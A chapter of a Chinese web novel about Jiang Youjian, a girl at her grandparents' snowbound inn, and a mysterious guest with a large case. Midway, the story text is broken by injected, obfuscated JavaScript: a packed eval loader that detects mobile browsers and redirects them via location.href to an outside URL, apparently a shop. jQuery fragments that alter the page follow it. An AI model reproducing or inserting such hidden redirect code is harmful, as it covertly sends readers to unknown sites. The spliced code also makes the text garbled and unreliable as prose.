顶楼没有走廊，有独立楼梯，尽头就是紧闭的房门。
眼下停电了，四周陷入黑暗，屋内一声不响。
难道第一次住店遇到停电不会惊慌吗？还是屋内压根没人？
如果有人还这么安静，害怕的反倒是她了。
想到这里，她脚步静悄悄地慢下，手上拎着的满满当当的水壶洒出了几滴开水，险些落到她的拖鞋上。
风雪压着窗棂，木板晃动出闷响，伴着户外呼啸的风声，姜柚见心里有些毛毛的。
她把热水壶放在门口，轻轻敲了两下。
没有回应。
她又敲了一次，声音比刚才重了一点。
“客人，这是小店送的热水。”
门内传来极轻的一声响动，像是起身的声音，慵懒散漫的脚步声响起，木地板在他行走中发生了微小形变，她在门口能清晰感知到。
不难猜测，对方身量很高。
而且，应该不怕黑。
脚步声渐近，她反而有些紧张了。
门锁转动了一下，开了一条窄窄的缝。
屋里也没有光线，身影被挡在门板之后，厚重的漆黑淹没了一切，窗外雪地的反光只能勾勒出对方脸部的轮廓。
她看见一截袖口，白色的绒衫。
质地很好，有一点暗哑的光泽。
一只手伸出来，皮肤很白，骨节分明，指节修长。
比小镇上任何一个常年劳作的人都白。
他没有说话。
她却莫名觉得那只手在等。
姜柚见赶紧把热水壶递过去。
对方接住，门内终于传来声音。
“谢谢。”低沉的嗓音，像唱片里的声音，带着更多的质感，与人隔着一层疏冷的细纱。
不是本地人，因为普通话过于标准。
“也许……你还需要这个。”她犹豫一瞬，把蜡烛和火柴递上。
那句谢谢又重复了一遍。
声音里没有什么温度，同样也没有傲慢，只是波澜不惊的礼貌。
余音在空气中悬浮了一秒，就随冷空气沉降下去。
姜柚见本来想回一句“没事”，话到嘴边却只剩一个含糊的气声。
待门重新关上后，她才反思自己可能有些失礼。
楼道里的松木香，更浓了一点，清洌又干净的调性，不会让人反感，更不会让人觉得亲近。
楼下传来外婆的方言：“柚见，送到了没有？”
她回过神来，赶紧应了一声：
“送了。”
她迅速下了楼。
而顶楼那扇门内，奚临听见门口脚步声消失，抬手水壶被放在一旁，火柴擦亮，引燃了蜡烛。
烛光在他漆黑的眸色中跳动，整个小镇都陷入了漆黑，手机电量早已殆尽，被直接扔到了房间角落。
微焰闪烁，窗外风雪未停，他低头看向桌上的写了一半的曲谱。
略微思索一阵，立刻拿起笔开始快速书写。
一直书写到……整个小镇被白色吞没。
-
第二天，姜柚见一早就听见厨房传来锅碗瓢盆的声音，她最终是被外婆叫醒的。
“柚见，起来了！给顶楼送下早饭。”
她把被子往头上一蒙，困得眼睛都睁不开，声音闷在棉絮里：
“婆……这么冷，而且我们的房费又不包早饭。”
“一会儿再跟你解释，你普通话说得好，不然我就自己去送了。”
外婆已经推门进来，手里端着一只托盘，上面是一碗清汤面和一个葱油饼。
“快去。”外婆催促了一下，“你舅舅和大姨要回来，我得去做准备了。”
姜柚见慢吞吞起身，冷风从门外袭来，睡意全无。
又是热水又是早餐的，她实在想不通这个客人有什么特殊之处。
窗外天色发灰，雪短暂停了。
她端着托盘上楼，顶楼依旧安静。
她敲门。
“您好，给您送早餐。”
不管心里如何不情愿，这个旅馆如何不正规，她都要尽量让自己显得正规。
没有回应。
再敲一次。
还是没有。
风从楼道外灌进来，顶楼分外冷清。
她正准备弯腰把早餐放在门口，才看见门把上挂着一块小木牌。
正面是“请勿打扰”，背面是“请清扫”。
字是黑色的，笔锋遒劲利落，不是旅馆原配的旧牌子。
她愣了一下，昨晚还没有。
把托盘放下，又忍不住贴近门听了一秒，里面没有动静。
她这才端着托盘原路返回，下楼时，外公正从外面买了菜回家，站在门口怕落身上的雪。
“婆……楼上没人。”她冲着厨房喊了一声，将托盘往柜台上一放。
外公走了进来，随口道：
“我一早看见他出门了。背着个大盒子。挺大的。”
“大盒子？”她问。
“像装乐器的，也像摄影器材。谁知道呢。”外公眯着眼，“这种人，多半是来采风的。画家、摄影师，都爱往这种破地方跑。”
外婆擦着手从厨房走出来：
“我看他那身衣服不像搞艺术的。外头这雪这么大，他要是去滑雪，也不稀奇。现在有些年轻人，专门来滑野雪。”
外公问：“你没问他做什么的？”
外婆诧异，“我怎么好意思问，钱给到位就行了，不该问的别多问。”
原本要钻进厨房的外公，突然停下脚步，压低声音问：“你查过身份证没有，别是通缉犯……”
“呸呸呸，”外婆抬手在空中连点三下，把晦气赶走，“快过年了，你嘴上没个把门的。”
外公撇撇嘴，“年前犯罪的都在赶进度拿钱回家过年，现在外头乱得很，之前有小姑娘失踪，最近电视上那个什么……搞音乐的大明星也失踪了，我估摸着，是被绑架了……”
姜柚见没有插话，随手拿起托盘上原本给他的葱油饼啃了一口，有点凉了。
她在心里不嫌事大地想，大盒子……不会是用来藏尸的吧。
外婆瞪了他一眼，“那小伙子长得周正，有礼貌，不像坏人，而且……他一手给了这个数。”
外公看了一眼，惊了一瞬，随机默不作声地钻厨房了。
姜柚见看见外婆比了五根手指，不知道这是代表，五个晚上？五个月？还是五千人民币……
吃完早餐，还没来得及偷懒，就被安排上去给客人打扫房间。
她放下筷子，马不停特拎着水桶和抹布上楼。
顶楼没那么冷，这个屋子的暖气是最好的。
桌面收拾得很干净，有一些纸质资料被收纳在上锁的文件夹里，姜柚见不由得多扫了几眼。
由于有温泉的原因，整个屋子常年都浸泡在硫磺味里面，偏偏这间房间，她闻不到硫磺味。
对地面进行清扫，她把垃圾袋换好之后准备走掉，却发现窗台上放着几张红色现钞，以及上面一张字条，写着“小费”的字样。
她第一次接触到这样的客人，这里一晚房费不过两位数，还第一次遇到给小费，且给这么多的。
在这人均月收入不过百来千把块的骊镇，这些钱似乎对于他来说不痛不痒。
她没敢去拿那钱，脑子里晃过了那个男人冷峻的侧脸，以及那个沉重得有些诡异的大盒子，这钱反倒像是某种诱捕小动物的陷阱。
拎上水桶，关上房门，她赶紧离开。
-
午后，外头雪压得更厚了，停电还没恢复。
镇上的人却像早已习惯这种日子，又快过年了，丝毫没有影响大家串门的劲头，冒着一米厚的雪也要互相给街坊四邻送点年货。
腊肉、枫叶糖、手工打糕……
雪地里一片红红绿绿的塑料袋交错，骊镇的人，不可能在乎什么暴风雪。
快过年了啊……
姜柚见叹了一口浊气。
一到过年，她就要忙个不停，作业只能半夜写，眼下又停电，过年的日子从没那么让人期待。
在厨房帮着外婆忙活了一下午，傍晚降临，屋外响亮传来女声：“妈，我们回来了。”
大姨和舅舅带着一家子到了。
原本冷清的惜春旅馆忽然热闹起来，客房被自家人占满，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271570|198121||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑声从一楼传到二楼。
表弟的玩具车劣质的音效吵的耳朵发麻。
姜柚见上楼回房间收拾铺盖，准备搬到小房间去睡，这里要留给舅舅一家三口的。
“柚见长大了，真懂事。”大姨换了身睡衣，倚靠在门框上嗑瓜子，在一旁夸奖道。
她含蓄地点头，心里没有什么被夸奖的喜悦。
没什么可争，她反正每年都会被安排搬去走廊尽头的小屋。
原本是杂物间，没有暖气，没有涂白，墙壁贴着一层旧报纸。
晚上取暖只能点煤炉。
外婆叮嘱：“睡前别忘了把炭压好，把窗户开个缝隙，别闷着。”
“柚见，下来帮忙！”外公的声音传来。
她应了一声，披上外套下楼。
旅馆的简易大堂原本是他们的客厅，表弟拿着玩具车跑来跑去，表姐在床边涂指甲油，大姨舅舅在哈哈大笑，大家都在外面坐着，其乐融融。
反倒是一个人在厨房切菜的她，像个局外人。
晚饭开席前，电路修好了，骊镇的路灯重新亮起。
姜柚见是最后一个落座的，从前家里还会关心下他们的学习成绩，但是自从姜柚见成绩远远好于其他两个孩子之后，饭桌上就再也不讨论成绩了。
席间，没有一句话是关于她的，表姐和表弟都有自己的爸妈护着，谁多吃一口少吃一口，都有人看在眼里。
唯独姜柚见面前那小半碗堆着的白菜，是她落座前自己夹的。
在这种热闹的团圆氛围里，唯独她感到深深的缺氧。
“柚见啊，”大姨剔着牙，突然开了口，“大学干脆和你姐去省城读好了，有个照应，能常回家看看。”
姜柚见没接话，放下筷子，站起身：“我吃饱了，去后院拿点冻梨来。”
“这孩子，还没吃两口呢……”外公嘟囔了一句，却也没留她。
她穿上那件洗得发硬的旧棉袄，掀开帘子走进了风雪里。
后院冷极了，但冷得清净。
姜柚见去锅炉底下夹了点炭火，坐在煤炭房门口看后山的雪，脸上的表情这才微微松动，眼中的失落只有面对皑皑白雪的时候才是无所顾忌的。
就在她低头看着雪地发愣时，一串极沉的脚步声从后山的小径传来。
她只需一秒钟就能知道这个人不是镇上的，因为镇上的人在雪地里走，都是轻巧的小碎步。
而这个人不一样。
姜柚见直起腰，借着室内漏出来的光，目光扫过去。
风雪中，那个背着“大盒子”的男人出现了，在路灯下拉长了高大的身影，光是从影子就足以让她想起一些漫画人物。
似乎刚从外面刚回来，大衣下摆挂满了冰凌，眼神隐没在分明的眉骨下，让她始终看不清他整张脸的模样。
男人停在后院通往阁楼的独立旋梯前，并没有立刻上去。
像是察觉到了什么，侧过头，目光精准地落在了缩在煤炭房阴影里的姜柚见身上。
四目相对。
姜柚见一手攥着那把用来拨弄炭火的铁钳，一手拿着冻梨，火光在钳尖微弱地跳动，而他背后的路灯将漫天飞雪映照得如同散落成泥的银箔。
她看清这这双眼。
那是怎样一双眼呢。
像是极地冰湖那般明澈、旷远，透着一种近乎绝迹的宁静。
无论是装扮还是神态，都带着一种不属于这破败小镇的矜贵感，身上透着若有似无的漠然，如同天空散发的气味，正好和被白雪堆满的幽幽山谷，相得益彰。
男人顺着她的手指看了一眼那筐梨，又看向她身后那间亮着刺眼白炽灯不断传出喧嚣叫嚷声的屋子。
眼神中多了几分异样。
在这样一双眼中，无人能为情绪辩白。
等她回过神来，男人已经转过身，背着那个沉重得有些诡异的盒子，踩着吱呀作响的木梯上楼了。
就在这时，屋里的帘子被猛地掀开，表姐那尖利的声音在后院炸开：
“柚见！让你拿个梨怎么拿了这么久？我们大家还等着呢！”
姜柚见脸上的松动瞬间消失，眼神重新变得死水微澜。